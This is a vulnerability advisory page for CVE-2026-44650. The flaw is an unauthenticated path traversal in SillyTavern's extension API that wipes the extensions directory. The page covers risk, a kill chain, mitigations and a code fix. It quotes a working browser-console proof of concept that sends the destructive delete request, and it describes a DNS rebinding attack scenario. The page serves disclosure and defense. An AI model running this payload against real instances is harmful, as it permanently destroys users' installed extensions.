CVE-2026-44650: SillyTavern: unauth path traversal wipes extensions

GHSA-886q-f44j-h6wh CRITICAL
Published May 12, 2026
CISO Take

SillyTavern's extension deletion API accepts `extensionName: '.'` without authentication — `sanitize-filename` converts the dot to an empty string, `path.join` resolves to the base extensions directory, and `fs.promises.rm` recursively deletes everything in it. With no credentials required in the default configuration, any network-reachable instance can have all installed extensions permanently destroyed with a single HTTP POST. The same vulnerable pattern exists across five additional endpoints, and the attack chains with CVE-2025-59159 (DNS rebinding) to enable exploitation from any malicious web page without requiring direct network access to the target. Upgrade to SillyTavern 1.18.0 immediately; as an interim control, enable basicAuth and bind the service to localhost with firewall rules blocking external access.

Sources: NVD GitHub Advisory ATLAS OpenSSF

Risk Assessment

CVSS 9.1 Critical with zero authentication barrier and trivial reproducibility — the published PoC is a browser console paste. The default configuration (basicAuthMode: false) leaves virtually every deployment exposed out of the box. DNS rebinding via CVE-2025-59159 expands the attack surface from LAN-only to any internet user who can deliver a malicious URL to the victim. With 2,931 downstream dependents and an OpenSSF score of 4.9/10, ecosystem-wide remediation will be slow. No confirmed in-the-wild exploitation at time of publication, but the PoC is trivially reproducible from the advisory itself.

Attack Kill Chain

Discovery
Attacker identifies a SillyTavern instance accessible on the target network, or crafts a malicious website leveraging CVE-2025-59159 DNS rebinding to reach a localhost-bound instance from the internet.
AML.T0006
Initial Access
Attacker (or victim browser via DNS rebinding) fetches a valid CSRF token from the unauthenticated GET /csrf-token endpoint — the only prerequisite, freely available with no credentials.
AML.T0049
Exploitation
Single POST to /api/extensions/delete with extensionName set to '.' causes sanitize-filename to return an empty string, path.join to resolve to the extensions base directory, and fs.promises.rm to recursively delete it with a 200 OK response.
AML.T0049
Impact
All installed third-party extensions are permanently destroyed with no automated recovery path, disabling all custom AI agent tools, persona configurations, and workflow automation integrations.
AML.T0081

Affected Systems

Package Ecosystem Vulnerable Range Patched
sillytavern npm <= 1.17.0 1.18.0
13.1K OpenSSF 4.9 2.9K dependents Pushed 3d ago 75% patched ~452d to patch Full package profile →

Do you use sillytavern? You're affected.

Severity & Risk

CVSS 3.1
9.1 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C None
I High
A High

Recommended Action

5 steps
  1. Patch: Upgrade to SillyTavern >= 1.18.0, which validates extensionName after sanitization and adds a path traversal guard using path.resolve comparison.

  2. Immediate workaround: Enable basicAuth (set basicAuthMode: true in config.yaml with a strong password) to block unauthenticated access to all management endpoints.

  3. Network hardening: Bind SillyTavern to 127.0.0.1 rather than 0.0.0.0; firewall the SillyTavern port (default 8000) to trusted hosts only to eliminate DNS rebinding attack surface.

  4. Detection: Monitor HTTP access logs for POST requests to /api/extensions/delete, /api/extensions/update, /api/extensions/version, /api/extensions/branches, or /api/extensions/switch where request body contains extensionName values of '.', '', or other sanitize-filename edge cases.

  5. Audit all five additional vulnerable endpoints — /update, /version, /branches, and /switch carry the same pre-sanitization validation logic and require the same fix.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2 - AI system design and implementation
NIST AI RMF
MANAGE 2.2 - Mechanisms to identify and address AI risks
OWASP LLM Top 10
LLM07:2023 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2026-44650?

SillyTavern's extension deletion API accepts `extensionName: '.'` without authentication — `sanitize-filename` converts the dot to an empty string, `path.join` resolves to the base extensions directory, and `fs.promises.rm` recursively deletes everything in it. With no credentials required in the default configuration, any network-reachable instance can have all installed extensions permanently destroyed with a single HTTP POST. The same vulnerable pattern exists across five additional endpoints, and the attack chains with CVE-2025-59159 (DNS rebinding) to enable exploitation from any malicious web page without requiring direct network access to the target. Upgrade to SillyTavern 1.18.0 immediately; as an interim control, enable basicAuth and bind the service to localhost with firewall rules blocking external access.

Is CVE-2026-44650 actively exploited?

No confirmed active exploitation of CVE-2026-44650 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44650?

1. Patch: Upgrade to SillyTavern >= 1.18.0, which validates extensionName after sanitization and adds a path traversal guard using path.resolve comparison. 2. Immediate workaround: Enable basicAuth (set basicAuthMode: true in config.yaml with a strong password) to block unauthenticated access to all management endpoints. 3. Network hardening: Bind SillyTavern to 127.0.0.1 rather than 0.0.0.0; firewall the SillyTavern port (default 8000) to trusted hosts only to eliminate DNS rebinding attack surface. 4. Detection: Monitor HTTP access logs for POST requests to /api/extensions/delete, /api/extensions/update, /api/extensions/version, /api/extensions/branches, or /api/extensions/switch where request body contains extensionName values of '.', '', or other sanitize-filename edge cases. 5. Audit all five additional vulnerable endpoints — /update, /version, /branches, and /switch carry the same pre-sanitization validation logic and require the same fix.

What systems are affected by CVE-2026-44650?

This vulnerability affects the following AI/ML architecture patterns: Local LLM deployments, AI agent frameworks, Plugin and extension ecosystems, AI productivity tooling.

What is the CVSS score for CVE-2026-44650?

CVE-2026-44650 has a CVSS v3.1 base score of 9.1 (CRITICAL).

Technical Details

NVD Description

## Summary `POST /api/extensions/delete` endpoint accepts `extensionName: "."` which bypasses `sanitize-filename` validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration. ## Affected File `src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`) ## Root Cause The validation check occurs **before** sanitization: ```javascript // [1] "." is truthy — passes the check if (!request.body.extensionName) { return response.status(400).send('Bad Request'); } // [2] sanitize(".") → "" const extensionPath = path.join(basePath, sanitize(extensionName)); // path.join("data\\default-user\\extensions", "") // = "data\\default-user\\extensions" ← basePath itself! // [3] Deletes the entire extensions directory await fs.promises.rm(extensionPath, { recursive: true }); ``` `sanitize-filename` converts `"."` to `""` (documented behavior). `path.join(basePath, "")` returns `basePath` itself. Result: the entire `data\default-user\extensions\` directory is deleted. ## Proof of Concept Tested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e` Authentication: none (basicAuthMode: false, default configuration) Run in browser console (F12) while SillyTavern is open: ```javascript async function poc() { const { token } = await (await fetch('/csrf-token')).json(); const headers = { 'Content-Type': 'application/json', 'X-CSRF-Token': token, }; // Before: 1 extension installed const before = await (await fetch('/api/extensions/discover', { headers })).json(); console.log('Before:', before.filter(e => e.type === 'local')); // [{ type: 'local', name: 'third-party/Extension-Notebook' }] // Attack const res = await fetch('/api/extensions/delete', { method: 'POST', headers, body: JSON.stringify({ extensionName: '.' }), }); console.log('Status:', res.status); // 200 console.log('Body:', await res.text()); // "Extension has been deleted at data\default-user\extensions" // After: empty const after = await (await fetch('/api/extensions/discover', { headers })).json(); console.log('After:', after.filter(e => e.type === 'local')); // [] } poc(); ``` **Result:** Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }] Status: 200 Body: Extension has been deleted at data\default-user\extensions After: [] ## Impact - **No authentication required** (`basicAuthMode: false` by default). Any user with network access to the SillyTavern instance can permanently delete the entire extensions directory with a single HTTP request. - All installed third-party extensions are unrecoverably lost. - With `global: true` and admin privileges, the global extensions directory shared across all users can also be deleted. - This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to enable unauthenticated remote exploitation from a malicious website. ## Same Pattern in Other Endpoints The same vulnerability exists in: - `POST /api/extensions/update` - `POST /api/extensions/version` - `POST /api/extensions/branches` - `POST /api/extensions/switch` ## Suggested Fix ```javascript const sanitized = sanitize(extensionName); // Check AFTER sanitizing if (!sanitized) { return response.status(400).send('Bad Request: Invalid extension name.'); } const extensionPath = path.join(basePath, sanitized); // Additional path traversal guard const resolvedPath = path.resolve(extensionPath); const resolvedBase = path.resolve(basePath); if (!resolvedPath.startsWith(resolvedBase + path.sep)) { return response.status(400).send('Bad Request: Invalid extension path.'); } ``` Apply the same fix to `/update`, `/version`, `/branches`, and `/switch` endpoints. ## References - CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical) - sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename - Related CVE (same project): CVE-2025-59159 ##REPORTED BY Jormungandr

Exploitation Scenario

An attacker compromises a corporate AI team's local LLM environment where SillyTavern is running with default settings. Using CVE-2025-59159 (DNS rebinding), a malicious website forces the victim's browser to issue a cross-origin POST to the local SillyTavern instance with Content-Type application/json and extensionName set to '.'. The browser first fetches a CSRF token from the unauthenticated GET /csrf-token endpoint, then issues the delete request. On the server, sanitize-filename converts '.' to an empty string, path.join resolves to the extensions base directory, and fs.promises.rm recursively deletes all installed extensions — wiping custom tool integrations, agent automation scripts, and persona configurations. The entire attack executes silently in under two seconds from the victim's browser, requiring only that they visit a malicious URL.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Timeline

Published
May 12, 2026
Last Modified
May 12, 2026
First Seen
May 13, 2026

Related Vulnerabilities